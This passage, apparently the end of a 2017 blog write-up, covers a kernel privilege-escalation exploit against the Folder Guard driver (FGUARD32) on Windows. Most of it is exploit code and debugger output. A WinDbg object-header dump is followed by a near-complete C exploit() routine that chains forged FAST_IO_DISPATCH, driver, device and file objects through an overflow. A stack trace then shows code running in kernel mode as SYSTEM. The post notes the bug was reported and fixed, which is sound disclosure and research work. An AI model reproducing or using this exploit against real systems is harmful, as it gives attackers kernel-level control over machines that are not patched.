865228f0  22 22 00 00 22 22 00 00-00 00 00 00 1c 00 04 40  "".."".........@
86522900  00 00 00 00 00 00 00 00-cc e8 00 00 00 00 59 83  ..............Y.
86522910  e9 06 0f 20 e0 0f ba f0-14 0f 22 e0 ff 51 27 8b  ... ......"..Q'.
86522920  44 24 1c 31 d2 89 10 89-50 04 b0 01 c2 20 00 c0  D$.1....P.... ..
86522930  d1 97 00 00 42 00 04 00-14 00 14 00 08 ce 7a 8f  ....B.........z.
86522940  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
86522950  00 00 00 00 01 00 04 00-00 00 00 00 5c 29 52 86  ............\)R.
86522960  5c 29 52 86 00 00 04 00-01 00 00 00 6c 29 52 86  \)R.........l)R.
86522970  6c 29 52 86 00 00 00 00-00 00 00 00 7c 29 52 86  l)R.........|)R.
86522980  7c 29 52 86 00 00 00 00                          |)R.....
kd> dt _object_header 865228f0
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n8738 ;Mark
   +0x004 HandleCount      : 0n8738 ;Mark
   +0x004 NextToFree       : 0x00002222 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0x1c ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x4 ''
   +0x00f Flags            : 0x40 '@'
   +0x010 ObjectCreateInfo : (null) 
   +0x010 QuotaBlockCharged : (null) 
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

Function Overlow listed above returns the address of the constructed object. We use the returned address to build_FAST_IO_DISPATCH function table:

    DROP_FILE_WITH_CHECK(Payload);
    r = Overflow(hDevice, &pPayload, &hObject);
    printf("Payload: %p\n", pPayload);
    CHECK_NULL_EXIT(pPayload);
    DeleteFiles();

    //offset nt!_FAST_IO_DISPATCH::FastIoRead
    p = (PVOID *)&FastIo[0x334 + 0x10];
    *p = pPayload;
    DROP_FILE_WITH_CHECK(FastIo);
    Overflow(hDevice, &pFastIo, &hObject);
    printf("FastIo: %p\n", pFastIo);
    CHECK_NULL_EXIT(pFastIo);
    DeleteFiles();

Similarly, we build the rest of objects in the chain and trigger execution by calling ReadFile API:

void exploit()
{
#define CHECK_NULL_EXIT(p) if ((p) == NULL) goto Exit;
#define CHECK_DROP_FILE(p) if ((p) == FALSE) { printf("DropFile failed\n"); goto Exit; }
#define DROP_FILE_WITH_CHECK(Data) { \
r = DropFile((Data), sizeof((Data))); \
if (r == FALSE) \
{ \
    printf("DropFile failed\n"); \
    goto Exit; \
} \
}
    BOOL   r;
    PVOID  *p;
    int    OldPriority;
    HANDLE hObject;
    HANDLE hDevice;
    PVOID  pPayload;
    PVOID  pFastIo;
    PVOID  pDrvObj;
    PVOID  pDevObj;
    PVOID  pFileObj;

    hDevice = CreateFileA("\\\\.\\FGUARD32", GENERIC_READ | GENERIC_WRITE, 7, 0, OPEN_EXISTING, 0, 0);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("CreateFileA failed: %d", GetLastError());
        goto Exit;
    }

    OldPriority = GetThreadPriority(GetCurrentThread());
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);

    DROP_FILE_WITH_CHECK(Payload);
    r = Overflow(hDevice, &pPayload, &hObject);
    printf("Payload: %p\n", pPayload);
    CHECK_NULL_EXIT(pPayload);
    DeleteFiles();

    //offset nt!_FAST_IO_DISPATCH::FastIoRead
    p = (PVOID *)&FastIo[0x2F4 + 0x8];
    *p = pPayload;
    DROP_FILE_WITH_CHECK(FastIo);
    Overflow(hDevice, &pFastIo, &hObject);
    printf("FastIo: %p\n", pFastIo);
    CHECK_NULL_EXIT(pFastIo);
    DeleteFiles();

    //offset nt!_DRIVER_OBJECT::FastIoDispatch
    p = (PVOID *)&DrvObj[0x2F4 + 0x28];
    *p = pFastIo;
    DROP_FILE_WITH_CHECK(DrvObj);
    r = Overflow(hDevice, &pDrvObj, &hObject);
    printf("DrvObj: %p\n", pDrvObj);
    CHECK_NULL_EXIT(pDrvObj);
    DeleteFiles();

    //offset nt!_DEVICE_OBJECT::DriverObject
    p = (PVOID *)&DevObj[0x2F4 + 0x8];
    *p = pDrvObj;
    DROP_FILE_WITH_CHECK(DevObj);
    r = Overflow(hDevice, &pDevObj, &hObject);
    printf("DevObj: %p\n", pDevObj);
    CHECK_NULL_EXIT(pDevObj);
    DeleteFiles();

    //offset nt!_FILE_OBJECT::DeviceObject
    p = (PVOID *)&FileObj[0x2F4 + 0x4];
    *p = pDevObj;
    DROP_FILE_WITH_CHECK(FileObj);
    r = Overflow(hDevice, &pFileObj, &hObject);
    printf("FileObj: %p\n", pFileObj);
    CHECK_NULL_EXIT(pFileObj);
    DeleteFiles();

    CHAR  Buff;
    DWORD BytesRead;
    ReadFile(hObject, &Buff, 1, &BytesRead, NULL);

    SetThreadPriority(GetCurrentThread(), OldPriority);

Exit:
    if (hDevice != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hDevice);
    }
    return;
}

And finally get our code executed in kernel mode:

kd> k
 # ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 8b44bb74 82cb5002 0x8652291c
01 8b44bc08 82a85b2d nt!NtReadFile+0x2e9
02 8b44bc08 771b6bb4 nt!KiSystemServicePostCall
03 0016f964 771b5dec ntdll!KiFastSystemCallRet
04 0016f968 7535c4fa ntdll!NtReadFile+0xc
05 0016f9cc 767b9e0a KERNELBASE!ReadFile+0x118
06 0016fa14 00983207 kernel32!ReadFileImplementation+0xf0
07 0016fb90 0098353b E!exploit+0x337
08 0016fd14 00983f2e E!main+0xfb
09 0016fd28 00983d91 E!invoke_main+0x1e [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78] 
0a 0016fd80 00983c2d E!__scrt_common_main_seh+0x151 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 283] 
0b 0016fd88 00983fa8 E!__scrt_common_main+0xd [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 326] 
0c 0016fd90 767befac E!mainCRTStartup+0x8 [f:\dd\vctools\crt\vcstartup\src\startup\exe_main.cpp @ 17] 
0d 0016fd9c 771d3628 kernel32!BaseThreadInitThunk+0xe
0e 0016fddc 771d35fb ntdll!__RtlUserThreadStart+0x70
0f 0016fdf4 00000000 ntdll!_RtlUserThreadStart+0x1b

SYSTEM

[The end]

The vulnerability was reported to the vendor and fixed: https://www.winability.com/folder-guard-18-7-released/
Full source code of the exploit is available at github: https://github.com/zwclose/fguard-exploit/

Written on September 1, 2017